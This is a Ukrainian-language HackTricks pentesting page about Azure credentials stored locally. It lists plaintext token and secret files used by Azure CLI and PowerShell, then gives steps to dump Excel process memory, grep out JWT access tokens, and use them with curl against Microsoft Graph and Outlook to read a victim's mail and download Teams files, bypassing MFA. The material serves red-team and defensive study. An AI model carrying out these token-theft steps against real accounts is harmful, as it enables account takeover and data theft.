Az - Локальні Облікові Дані Хмари

Reading time: 3 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Локальне Зберігання Токенів та Питання Безпеки

Azure CLI (Інтерфейс Командного Рядка)

Токени та чутливі дані зберігаються локально Azure CLI, що викликає занепокоєння щодо безпеки:

  1. Токени Доступу: Зберігаються у відкритому тексті в accessTokens.json, розташованому за адресою C:\Users\<username>\.Azure.
  2. Інформація про Підписку: azureProfile.json, у тій же директорії, містить деталі підписки.
  3. Лог-файли: Папка ErrorRecords у .azure може містити журнали з відкритими обліковими даними, такими як:
  • Виконані команди з вбудованими обліковими даними.
  • URL-адреси, доступ до яких здійснювався за допомогою токенів, що потенційно розкриває чутливу інформацію.

Azure PowerShell

Azure PowerShell також зберігає токени та чутливі дані, до яких можна отримати доступ локально:

  1. Токени Доступу: TokenCache.dat, розташований за адресою C:\Users\<username>\.Azure, зберігає токени доступу у відкритому тексті.
  2. Секрети Службового Принципала: Ці дані зберігаються у незашифрованому вигляді в AzureRmContext.json.
  3. Функція Збереження Токенів: Користувачі мають можливість зберігати токени за допомогою команди Save-AzContext, яку слід використовувати обережно, щоб запобігти несанкціонованому доступу.

Автоматичні Інструменти для їх знаходження

Токени в пам'яті

Як пояснюється в цьому відео, деяке програмне забезпечення Microsoft, синхронізоване з хмарою (Excel, Teams...), може зберігати токени доступу у відкритому тексті в пам'яті. Тому просто дампінг пам'яті процесу та grep для JWT токенів може надати вам доступ до кількох ресурсів жертви в хмарі, обминаючи MFA.

Кроки:

  1. Дампуйте процеси Excel, синхронізовані з користувачем EntraID, за допомогою вашого улюбленого інструменту.
  2. Виконайте: string excel.dmp | grep 'eyJ0' і знайдіть кілька токенів у виході.
  3. Знайдіть токени, які вас найбільше цікавлять, і запустіть над ними інструменти:
bash
# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

Зверніть увагу, що такі токени доступу також можуть бути знайдені всередині інших процесів.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks